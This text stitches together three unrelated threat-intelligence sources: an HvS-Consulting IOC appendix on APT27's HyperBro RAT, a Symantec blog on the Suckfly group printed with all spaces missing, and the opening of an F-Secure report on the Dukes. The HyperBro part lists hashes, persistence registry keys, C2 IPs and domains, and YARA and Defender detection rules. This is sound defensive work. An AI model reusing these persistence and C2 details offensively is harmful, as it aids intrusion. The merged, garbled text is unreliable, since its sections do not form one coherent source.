3a528cc7cfa7d7cd338c285839c3c727 HyperBro RAT - Stage 2 Payload delivery md5 84f09d192ec90542ede22c370836ffa6 HyperBro RAT - Stage 2 Payload delivery md5 832415bba4378181e3c975f247b9d0e8 HyperBro RAT - Stage 1 Payload delivery md5 42be134aeca1d88024b0d1baac0726d2 HyperBro RAT - Stage 1 Payload delivery md5 161d3039d7ee393820acab012f4cc85e HyperBro RAT - Stage 1 Payload delivery md5 061b1d1378c06f9ed46b00fe202f39d8 HyperBro RAT - Stage 2 Payload delivery md5 4896a86615ef6835861404bb63a97d7a HyperBro RAT - Stage 2 Payload delivery md5 4109ac08bdc8591c7b46348eb1bca85d HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery md5 0af2e05abc0ea27d33aa92fc2924655a Rar.exe (WinRar) Payload delivery md5 60d5648d35bacf5c7aa713b2a0d267d3 Rar.exe (WinRar) Payload delivery md5 5c1c0bfdf0b3abcf4872b605dbea8b1a HyperBro RAT - Stage 3 Payload delivery md5 80df708149bc7d2b19afd698def598f5 HyperBro RAT - Stage 2 (decrypted) Payload delivery sha1 3c7beb8978feac9ba8f5bab0656242232471bf7d HyperBro RAT - Stage 1 Payload delivery sha1 e0d6fcdf23c06c8e8016b0c93a1072c4bab0b659 HyperBro RAT - Stage 1 Payload delivery sha1 0dfbbaf0267d79bbe15b1f5a78e1f1bcceea99ca HyperBro RAT - Stage 2 Payload delivery sha1 7fb23c6b4db90b55694bdd1cc5c1b4c706a4e181 HyperBro RAT - Stage 2 Payload delivery sha1 7d92970e8394b20b887bf2de60408da15e260d9f HyperBro RAT - Stage 1 Payload delivery sha1 ba2ba390a13938de4d176addd7417ad9a1df2715 HyperBro RAT - Stage 1 Payload delivery sha1 6043a8e4f14ac398fd25c10f20d01ba00eb22883 HyperBro RAT - Stage 1 Payload delivery sha1 0acea28ddbfb86dc335c295475e5c9a2338bf4e3 HyperBro RAT - Stage 2 Payload delivery sha1 95739e00e606e8e7a5c2f658b05820db7ee51910 HyperBro RAT - Stage 2 Payload delivery sha1 6423d1c324522bfd2b65108b554847ac4ab02479 HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery sha1 755b979293a43e3a5de23933f35ec6a94b0971ee Rar.exe (WinRar) Payload delivery sha1 a62af4ac233d914a25e79ec0705e2a187ebd7567 Rar.exe (WinRar) Payload delivery sha1 6d24b289ab4819774ac250d5d4f024e9dee7579c HyperBro RAT - Stage 3 Payload delivery sha1 d3cc018a28b39698bfa486f6e505be4c68573af0 HyperBro RAT - Stage 2 (decrypted) Payload delivery sha256 52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7 e0f4a30d008e22a7 HyperBro RAT - Stage 1 Payload delivery sha256 5aa4dffee6acd65092ddaf7192c1009befd14eb079e694f1 32707dcda22f9e7f HyperBro RAT - Stage 1 Payload delivery sha256 2ca4181d958369ff92121700c681442664454b0ec4f7942 984611cc64caeca61 HyperBro RAT - Stage 2 Payload delivery sha256 f2ba8b8aabf73020febd3a925276d52ce88f295537fe5772 3df714c13f5a8780 HyperBro RAT - Stage 2 Payload delivery sha256 333b52c2cfac56b86ee9d54aef4f0ff4144528917bc1aa1fe 1613efc2318339a HyperBro RAT - Stage 1 Payload delivery sha256 847fce4a6c3561f51bb94dc682a16908d4ce5b0cf9d4315d b6d642ad2a94f8bc HyperBro RAT - Stage 1 Payload delivery sha256 205aa1007e97a58ecb6e9f9a143ed7d337de98864d566d 8f6967a9496beff815 HyperBro RAT - Stage 1 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 33 of 38 Category Type Value Comment Payload delivery sha256 fd15d8bf6dd3858897dbc352b64577fd73cfd7ba4c3e4c7e 77a070fa43264216 HyperBro RAT - Stage 2 Payload delivery sha256 ba3a9382c0e5857f496e998635f8ba0ae2aedf4782defcbe 204eaeea5c7e8e24 HyperBro RAT - Stage 2 Payload delivery sha256 df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15 edbe28dcecb2a348 HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery sha256 8c4b78ee13c6c7639086b46efdcdebf0cac37ab87fef99ab 2c7a72f217b5b03c Rar.exe (WinRar) Payload delivery sha256 4b16ea1b1273f8746cf399c71bfc1f5bff7378b5414b4ea04 4c55e0ee08c89d3 Rar.exe (WinRar) Payload delivery sha256 624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2 e2a5683a04e36213e8 HyperBro RAT - Stage 3 Payload delivery sha256 fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6 a5ef46f6eff67ed HyperBro RAT - Stage 2 (decrypted) Payload delivery x509- fingerprint- sha1 7cb43e5c475d7f369fb090e9a79fe1f841bd1309 HyperBro RAT - legit CyberArk Software binary used for side-loading Persistence mechanism regkey SOFTWARE\WOW6432Node\Microsoft\config_ HyperBro RAT - registry key used to persist C2 config Persistence mechanism regkey HKCU\Software\Microsoft\Windows\CurrentVersion\Run \windefenders HyperBro RAT - persistence mechanism HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 34 of 38 9.2 YARA Rules The following YARA rules can be used for the detection of the HyperBro malware. Alternatively, you can use the THOR APT Scanner36 since it already includes these YARA detection rules as well as many more. The YARA rules were also published in our GitHub repository. One additional rule can be found there, which was too bulky for this report: https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 rule HvS_APT27_HyperBro_Decrypted_Stage2 meta: description HyperBro Stage 2 and compressed Stage 3 detection license https://creativecommons.org/licenses/by-nc/4.0/ author Moritz Oettle reference https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date 2022-02-07 hash1 fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed strings: lznt1_compressed_pe_header_small FC B9 00 4D 5A 90 // This is the lznt1 compressed PE header lznt1_compressed_pe_header_large_1 FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 lznt1_compressed_pe_header_large_2 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 lznt1_compressed_pe_header_large_3 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 lznt1_compressed_pe_header_large_4 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 lznt1_compressed_pe_header_large_5 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 lznt1_compressed_pe_header_large_6 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 condition: filesize 200KB and (lznt1_compressed_pe_header_small at 0x9ce) or (all of (lznt1_compressed_pe_header_large_)) 36 https://www.nextron-systems.com/thor/ https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 https://www.nextron-systems.com/thor/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 35 of 38 rule HvS_APT27_HyperBro_Stage3 meta: description HyperBro Stage 3 detection - also tested in memory license https://creativecommons.org/licenses/by-nc/4.0/ author Markus Poelloth reference https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date 2022-02-07 hash1 624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8 strings: s1 \\cmd.exe /A fullword wide s2 vftrace.dll fullword wide s3 msmpeng.exe fullword wide s4 \\\\.\\pipe\\testpipe fullword wide s5 thumb.dat fullword wide g1 s\\d.exe fullword wide g2 https://s:d/api/v2/ajax fullword wide g3 -k networkservice fullword wide g4 -k localservice fullword wide condition: uint16(0) 0x5a4d and filesize 300KB and (( 4 of (s) ) or (4 of (g))) rule HvS_APT27_HyperBro_Stage3_C2 meta: description HyperBro Stage 3 C2 path and user agent detection - also tested in memory license https://creativecommons.org/licenses/by-nc/4.0/ author Marc Stroebel reference https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date 2022-02-07 hash1 624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8 strings: s1 api/v2/ajax ascii wide nocase s2 Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 ascii wide nocase condition: all of them HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 36 of 38 rule HvS_APT27_HyperBro_Stage3_Persistence meta: description HyperBro Stage 3 registry keys for persistence license https://creativecommons.org/licenses/by-nc/4.0/ author Marko Dorfhuber reference https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date 2022-02-07 hash1 624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8 strings: SOFTWARE\\WOW6432Node\\Microsoft\\config_ ascii SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders ascii condition: 1 of them 9.3 Defender Detection Rules // description: Detects pipe of HyperBro used for IPC // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Markus Poelloth // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceEvents where ActionType NamedPipeEvent and AdditionalFields contains testpipe // description: Detects big newly created rar files, as used by Emissary Panda for collection // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Moritz Oettle // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceFileEvents where ActionType FileCreated where FileName endswith .rar where FileSize 5000000000 // 5 GB sort by FileSize desc HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022 Page 37 of 38 // description: Detects C2 network events used by Emissary Panda // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Marc Stroebel // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 let IPs pack_array(87.98.190.184, 34.90.207.23, 103.79.77.200, 104.168.236.46, 193.203.203.26, 103.79.78.48, 35.187.148.253, 107.148.131.210, 45.77.250.141, 74.119.194.153) let C2s pack_array(dataanalyticsclub.com, image.dataanalyticsclub.com, fonts.dataanalyticsclub.com, avatars.dataanalyticsclub.com) DeviceNetworkEvents where RemoteIP in(IPs) or RemoteUrl in (C2s) // description: Detects commands used by Emissary Panda // notes: might be prone to false positives // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Marko Dorfhuber // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceProcessEvents where InitiatingProcessCommandLine cmd.exe /A // description: Detects event that loads the malicious DLL of Emissary Panda based on name // notes: might be prone to false positives // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Moritz Oettle // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceImageLoadEvents where ActionType ImageLoaded and FileName contains VFTRACE.DLL 1 Just Another Incident Response investigation? 2 The Major Vulnerabilities in 2021 3 A Spotlight on the Role of APT Groups 4 Lessons Learned from 2021 5 Timeline of the Attack 5.1 Phase 1: Initial Compromise 5.2 Phase 2: Persistence 5.3 Phase 3: Reaction and Last Data Exfiltration 6 Description of Observed TTPs 6.1 Resource Development 6.1.1 Develop Capabilities: Malware (T1587.001) 6.2 Initial Access 6.2.1 Exploit Public-Facing Application (T1190) 6.3 Execution 6.3.1 Windows Management Instrumentation (T1047) 6.4 Persistence 6.4.1 Create or Modify System Process: Windows Service (T1543.003) 6.4.2 Boot or Logon Autostart Execution: Registry Run Keys (T1547.001) 6.4.3 Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003) 6.5 Privilege Escalation 6.6 Defense Evasion 6.6.1 Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002) 6.6.2 Modify Registry (T1112) 6.6.3 Process Injection: Process Hollowing (1055.012) 6.6.4 Masquerading: Service (T1036.004), filename, and file location (T1036.005) 6.7 Credential Access 6.7.1 OS Credential Dumping T1003 6.8 Discovery 6.8.1 Account Discovery (T1087.001) and Permission Groups Discovery T1069 6.8.2 Process Discovery T1057 6.8.3 System Information Discovery (T1082) 6.9 Lateral Movement 6.9.1 Remote Services: SMB Shares (T1021.002) 6.10 Collection 6.10.1 Archive via Utility (T1560.001) and Automated Collection (T1119) 6.10.2 Data Staged (T1074) 6.11 Command and Control 6.11.1 Application Layer Protocol: Web Protocols T1071.001 7 OSINT analysis of C2 infrastructure 8 Malware Analysis of HyperBro 8.1 Overview 8.2 PE Loader 8.3 Capabilities 8.4 HyperBro Configuration Extractor 9 Detection of Emissary Pandas activities 9.1 Indicators of Compromise (IOCs) 9.2 YARA Rules 9.3 Defender Detection Rules Suckfly:Revealingthesecretlifeofyourcodesigningcertificates AChinabasedAPTgrouphasaninsatiableappetiteforstolencodesigningcertificates. By:Jon_DiMaggio(/connect/user/jondimaggio) Created15Mar2016 0 Share Viewtheindicatorsofcompromise(connect/blogs/suckflyrevealingsecretlifeyourcodesigningcertificatesconnectanchorlinkiocs)forthisattackgroup. Manysecuritymindedorganizationsutilizecodesigningtoprovideanadditionallayerofsecurityandauthenticityfortheirsoftwareandfiles. Codesigningis carriedoutusingatypeofdigitalcertificateknownasacodesigningcertificate. Theprocessofcodesigningvalidatestheauthenticityoflegitimatesoftwareby confirmingthatanapplicationisfromtheorganizationwhosignedit. Whilecodesigningcertificatescanoffermoresecurity,theycanalsoliveanunintended secretlifeprovidingcoverforattackgroups,suchastheSuckflyAPTgroup. Inlate2015,Symantecidentifiedsuspiciousactivityinvolvingahackingtoolusedinamaliciousmanneragainstoneofourcustomers. Normally,thisis consideredalowlevelalerteasilydefeatedbysecuritysoftware. Inthiscase,however,thehacktoolhadanunusualcharacteristicnottypicallyseenwiththis typeoffileitwassignedwithavalidcodesigningcertificate. Manyhacktoolsaremadeforlessthanethicalpurposesandarefreelyavailable,sothiswasan initialredflag,whichledustoinvestigatefurther. Asourinvestigationcontinued,wesoonrealizedthiswasmuchlargerthanafewhacktools. WediscoveredSuckfly,anadvancedthreatgroup,conducting targetedattacksusingmultiplestolencertificates,aswellashacktoolsandcustommalware. Thegrouphadobtainedthecertificatesthroughpreattack operationsbeforecommencingtargetedattacksagainstanumberofgovernmentandcommercialorganizationsspreadacrossmultiplecontinentsoveratwo yearperiod. Thistypeofactivityandthemalicioususeofstolencertificatesemphasizestheimportanceofsafeguardingcertificatestopreventthemfrombeing usedmaliciously. Anappetiteforstolencodesigningcertificates Suckflyhasanumberofhacktoolsandmalwarevarietiesatitsdisposal. Figure1identifiesthemalwareandtoolsbasedonfunctionalityandthenumberof signedfileswithuniquehashesassociatedwiththem. Figure1.Suckflyhackingtoolsandmalware,characterizedbyfunctionality Thefirstsignedhacktoolweidentifiedinlate2015wasadigitallysignedbruteforceservermessageblock(SMB)scanner. Theorganizationassociatedwith thiscertificateisaSouthKoreanmobilesoftwaredeveloper. Whilewebecameinitiallycuriousbecausethehacktoolwassigned,webecamemoresuspicious whenwerealizedamobilesoftwaredeveloperhadsignedit,sincethisisnotthetypeofsoftwaretypicallyassociatedwithamobileapplication. Basedonthisdiscovery,webegantolookforotherbinariessignedwiththeSouthKoreanmobilesoftwaredeveloperscertificate. Thisledtothediscoveryof threeadditionalhacktoolsalsosignedusingthiscertificate. Inadditiontobeingsignedwithastolencertificate,theidentifiedhacktoolshadbeenusedin suspiciousactivityagainstaUSbasedhealthprovideroperatinginIndia. Thisevidenceindicatesthatthecertificatesrightfulownereithermisuseditorithad beenstolenfromthem. Symantecworkedwiththecertificateownertoconfirmthatthehacktoolwasnotassociatedwiththem. Followingthetrailfurther,wetracedmalicioustrafficbacktowhereitoriginatedfromandlookedforadditionalevidencetoindicatethattheattackerpersistently usedthesameinfrastructure. WediscoveredtheactivityoriginatedfromthreeseparateIPaddresses,alllocatedinChengdu,China. InadditiontothetrafficoriginatingfromChengdu,weidentifiedaselectionofhacktoolsandmalwaresignedusingninestolencertificates. TheninestolencertificatesoriginatedfromninedifferentcompanieswhoarephysicallylocatedclosetogetheraroundthecentraldistrictsofSeoul,South Korea. Figure2showstheregioninwhichthecompaniesarelocated. Figure2.MapshowingthecentraldistrictsofSeoul,wherethecompanieswiththestolencertificatesarelocated(Mapdata2016SKplanet) Whilewedonotknowtheexactcircumstancesofhowthecertificateswerestolen,themostlikelyscenariowasthatthecompanieswerebreachedwith malwarethathadtheabilitytosearchforandextractcertificatesfromwithintheorganization. Wehaveseenthiscapabilitybuiltintoawiderangeofthreatsfor anumberofyearsnow(http://www.symantec.com/connect/blogs/howattackersstealprivatekeysdigitalcertificates). Theorganizationswhoownedthestolencertificateswerefromfourindustries(seeFigure3). ( /connect/) Blogs(/connect/blogs) SecurityResponse(/connect/symantecblogs/symantecsecurityresponse) SecurityResponse (https://twitter.com/threatintel) (http://www.symantec.com/connect/itemfeeds/blog/2261/feed/all/en/all) SymantecOfficialBlog SYMANTECEMPLOYEE 4 4Votes http://www.symantec.com/connect/user/jondimaggio http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificatesconnect-anchor-link-iocs http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates http://www.symantec.com/connect/ http://www.symantec.com/connect/blogs http://www.symantec.com/connect/symantec-blogs/symantec-security-response http://www.symantec.com/connect/ https://twitter.com/threatintel http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all Figure3.Ownersofstolencertificates,byindustry Atimelineofmisuse WedontknowtheexactdateSuckflystolethecertificatesfromtheSouthKoreanorganizations. However,byanalyzingthedateswhenwefirstsawthe certificatespairedwithhacktoolsormalware,wecangaininsightintowhenthecertificatesmayhavebeenstolen. Figure4detailshowmanytimeseachstolen certificatewasusedinagivenmonth. Figure4.TrackingSuckflysuseofstolencertificates,bymonth Thefirstsightingofthreeoftheninestolencertificatesbeingusedmaliciouslyoccurredinearly2014.Thosethreecertificatesweretheonlyonesusedin2014, makingitlikelythattheothersixwerenotcompromiseduntil2015.Allninecertificateswereusedmaliciouslyin2015. BasedonthedatainFigure4,thefirstcertificatesusedbelongedtoCompanyA(educationalsoftwaredeveloper)andCompanyB(videogamedeveloper2). CompanyAscertificatewasusedforoverayear,fromApril2014untilJune2015andCompanyBscertificatewasusedforalmostayear,fromJuly2014until June2015.Whenwediscoveredthisactivity,neithercompanywasawarethattheircertificateshadbeenstolenorhowtheywerebeingused. Sincethe companieswereunawareoftheactivity,neitherstolencertificatehadbeenrevoked. Whenacertificateisrevoked,thecomputerdisplaysawindowexplaining thatthecertificatecannotbeverifiedandshouldnotbetrustedbeforeaskingtheuseriftheywanttocontinuewiththeinstallation. Signed,sealed,anddelivered Asnotedearlier,thestolencertificatesSymantecidentifiedinthisinvestigationwereusedtosignbothhackingtoolsandmalware. Furtheranalysisofthe malwareidentifiedwhatlookslikeacustombackdoor. WebelieveSuckflyspecificallydevelopedthebackdoorforuseincyberespionagecampaigns.
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14 2015: Continuing surgical strikes with CosmicDuke . . . . . . . . . . . . . . . . . . . . . . 14 TOOLS AND TECHNIQUES OF THE DUKES 16 PinchDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 GeminiDuke. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 CosmicDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 MiniDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 CozyDuke. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20 OnionDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 SeaDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 HammerDuke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 CloudDuke. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24 INFECTION VECTORS 25 DECOYS 25 EXPLOITATION OF VULNERABILITIES 25 ATTRIBUTION AND STATE-SPONSORSHIP 26 BIBLIOGRAPHY 28 APPENDIX I: DATA LISTINGS 29 Over 7 years of Russian cyberespionage THE DUKES 3 EXECUTIVE SUMMARY The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. ... the Dukes show unusual confidence in their ability to continue successfully compromising their targets [...], as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States Asian, African, and Middle Eastern governments organizations associated with Chechen extremism and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy break- in followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. In addition to these large-scale campaigns, the Dukes continuously and concurrently engage in smaller, much more targeted campaigns, utilizing different toolsets. These targeted campaigns have been going on for at least 7 years. The targets and timing of these campaigns appear to align with the known foreign and security policy interests of the Russian Federation at those times. The Dukes rapidly react to research being published about their toolsets and operations. However, the group (or their sponsors) value their operations so highly that though they will attempt to modify their tools to evade detection and regain stealth, they will not cease operations to do so, but will instead incrementally modify their tools while continuing apparently as previously planned. In some of the most extreme cases, the Dukes have been known to engage in campaigns with unaltered versions of tools that only days earlier have been brought to the publics attention by security companies and actively mentioned in the media. In doing so, the Dukes show unusual confidence in their ability to continue successfully compromising their targets even when their tools have been publicly exposed, as well as in their ability to operate with impunity. 4 THE DUKES Over 7 years of Russian cyberespionage THE STORY OF THE DUKES 2008: Chechnya The earliest activity we have been able to definitively attribute to the Dukes are two PinchDuke campaigns from November 2008. These campaigns use PinchDuke samples that were, according to their compilation timestamps, created on the 5th and 12th of November 2008. The campaign identifiers found in these two samples are respectively, alkavkaz.com20081105 and cihaderi. net20081112. The first campaign identifier, found in the sample compiled on the 5th, references alkavkaz.com, a domain associated with a Turkish website proclaiming to be the Chechan [sic] Informational Center (image 1, page 5). The second campaign identifier, from the sample compiled on the 12th, references cihaderi.net, another Turkish website that claims to provide news from the jihad world and which dedicates a section of its site to Chechnya. Due to a lack of other PinchDuke samples from 2008 or earlier, we are unable to estimate when the Duke operation originally began. Based on our technical analysis of the known PinchDuke samples from 2008 however, we believe PinchDuke to have been under development by the summer of 2008. In fact, we believe that by the autumn of 2008, the Dukes were already developing not one but at least two distinct malware toolsets. This assertion is based on the oldest currently known sample of another Duke-related toolset, GeminiDuke, which was compiled on the 26th of January 2009. This sample, like the early PinchDuke samples, appears to already be a fully-grown sample, which is why we believe GeminiDuke was under development by the autumn of 2008. That the Dukes were already developing and operating at least two distinct malware toolsets by the second half of 2008 suggests to us that either the size of their cyberespionage operation was already large enough to warrant such an arsenal of tools, or that they expected their operation to grow significantly enough in the foreseeable future to warrant the development of such an arsenal. We examine each of the Duke toolsets in greater detail later in the Tools and Techniques section (page 16). The story of the Dukes, as it is currently known, begins with a malware toolset that we call PinchDuke. This toolset consists of multiple loaders and an information-stealer trojan. Importantly, PinchDuke trojan samples always contain a notable text string, which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel. These campaign identifiers, which frequently specify both the date and target of the campaign, provide us with a tantalizing view into the early days of the Dukes. Etymology: a note on names The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term MiniDuke to identify the first Duke-related malware they found. As explained in their whitepaper[7], the researchers observed the surprisingly small MiniDuke backdoor being spread via the same exploit that was being used by a malware that they had already named ItaDuke the Duke part of this malwares name had in turn come about because it reminded the researchers of the notable Duqu threat. Despite the shared history of the name itself however, it is important to note that there is no reason to believe that the Duke toolsets themselves are in any way related to the ItaDuke malware, or to Duqu for that matter. As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke, the new toolsets were also given Duke-derived names, and thus the threat actor operating the toolsets started to be commonly referred to as the Dukes. The only other publicly used name for the threat actor that we are aware of is APT29[22]. Some exceptions to this naming convention do exist, and in the case of specific Duke toolsets, other commonly used names are listed in the Tools and Techniques section (page 16). ItaDuke Duqu MiniDuke PinchDuke CosmicDuke OnionDuke CozyDuke CloudDuke SeaDuke HammerDuke GeminiDuke duke duke The Dukes Over 7 years of Russian cyberespionage THE DUKES 5 2009: First known campaigns against the West Based on the campaign identifiers found in PinchDuke samples discovered from 2009, the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda. Campaign identifiers from 2009 also reveal that by that time, the Dukes were already actively interested in political matters related to the United States (US) and the North Atlantic Treaty Organization (NATO), as they ran campaigns targeting (among other organizations) a US-based foreign policy think tank, another set of campaigns related to a NATO exercise held in Europe, and a third set apparently targeting what was then known as the Georgian Information Centre on NATO. Of these campaigns, two clusters in particular stand out. The first is a set of campaigns from the 16th and 17th of April, 2009, that targeted a US-based foreign policy think tank, as well as government institutions in Poland and the Czech Republic (image 1, below). These campaigns utilized specially-crafted malicious Microsoft Word documents and PDF files, which were sent as e-mail attachments to various personnel in an attempt to infiltrate the targeted organizations. We believe this cluster of campaigns had a joint goal of gathering intelligence on the sentiments of the targeted countries with respect to the plans being discussed at the time for the US to locate their European Interceptor Site missile defense base in Poland, with a related radar station that was intended to be located in the Czech Republic. Regarding the timing of these campaigns, it is curious to note that they began only 11 days after President Barack Obama gave a speech on the 5th of April declaring his intention to proceed with the deployment of these missile defenses [1]. The second notable cluster comprises of two campaigns that were possibly aimed at gathering information on Georgia-NATO relations. The first of these runs used the campaign identifier natoinfo_ge, an apparent reference to the www.natoinfo.ge website belonging to a Georgian political body that has since been renamed Information Centre on NATO and EU. Although the campaign identifier itself doesnt contain a date, we believe the campaign to have originated around the 7th of June 2009, which was when the PinchDuke sample in question was compiled. This belief is based on the observation that in all of the other PinchDuke samples we have analyzed, the date of the campaign identifier has been within a day of the compilation date. The second campaign identifier, which we suspect may be related, is mod_ge_2009_07_03 from a month later and apparently targeting the Ministry of Defense of Georgia. Left - Screenshot of alkavkaz.com [2] (circa 2008, preserved by the Internet Archive Wayback Machine), which was referenced in 2008 PinchDuke sample Below - Decoy document from a 2009 PinchDuke campaign targeting Poland, the Czech Republic and a US think tank. The contents appear to have been copied from a BBC news article [3] IMAGE 1: EARLY ACTIVITY FROM 2008 2009 6 THE DUKES Over 7 years of Russian cyberespionage 2010: The emergence of CosmicDuke in the Caucasus The spring of 2010 saw continued PinchDuke campaigns against Turkey and Georgia, but also numerous campaigns against other members of the Commonwealth of Independent States such as Kazakhstan, Kyrgyzstan, Azerbaijan and Uzbekistan. Of these, the campaign with the identifier kaz_2010_07_30, which possibly targeted Kazakhstan, is of note because it is the last PinchDuke campaign we have observed. We believe that during the first half of 2010, the Dukes slowly migrated from PinchDuke and started using a new infostealer malware toolset that we call CosmicDuke. The first known sample of the CosmicDuke toolset was compiled on the 16th of January 2010. Back then, CosmicDuke still lacked most of the credential-stealing functionality found in later samples. We believe that during the spring of 2010, the credential and file stealing capabilities of PinchDuke were slowly ported to CosmicDuke, effectively making PinchDuke obsolete. During this period of transition, CosmicDuke would often embed PinchDuke so that, upon execution, CosmicDuke would write to disk and execute PinchDuke. Both PinchDuke and CosmicDuke would then operate independently on the same compromised host, including performing separate information gathering, data exfiltration and communication with a command and control (CC) server - although both malware would often use the same CC server. We believe the purpose of this parallel use was to fieldtest the new CosmicDuke tool, while at the same time ensuring operational success with the tried-and-tested PinchDuke. During this period of CosmicDuke testing and development, the Duke authors also started experimenting with the use of privilege escalation vulnerabilities. Specifically, on the 19th of January 2010 security researcher Tavis Ormandy disclosed a local privilege escalation vulnerability (CVE-2010-0232) affecting Microsoft Windows. As part of the disclosure, Ormandy also included the source code for a proof-of- concept exploit for the vulnerability [4]. Just 7 days later, on the 26th of January, a component for CosmicDuke was compiled that exploited the vulnerability and allowed the tool to operate with higher privileges. One loader to load them all (almost) In addition to all the other components being produced by the Dukes group, in 2010 they were also actively developing and testing a new loader - a component that wraps the core malware code and provides an additional layer of obfuscation. The first sample of this loader was compiled on the 26th of July 2010, making it a direct predecessor of what has since become known as the MiniDuke loader, as later versions were extensively used by both MiniDuke and CosmicDuke. Some hints about the history of the MiniDuke loader were noted in the CosmicDuke whitepaper we published [5] in 2014, where we observed that the loader appeared to have been in use with CosmicDuke before it was used with MiniDuke. In fact, we now know that before being used with either, the MiniDuke loader was used to load PinchDuke. The first known sample of the loader was used during the summer of 2010, while the most recent samples were seen during the spring of 2015. This neatly ties together many of the tools used by the Dukes group, as versions of this one loader have been used to load malware from three different Dukes-related toolsets CosmicDuke, PinchDuke, and MiniDuke over the course of five years. Over 7 years of Russian cyberespionage THE DUKES 7 2011: John Kasai of Klagenfurt, Austria During 2011, the Dukes appear to have significantly expanded both their arsenal of malware toolsets and their CC infrastructure. While the Dukes 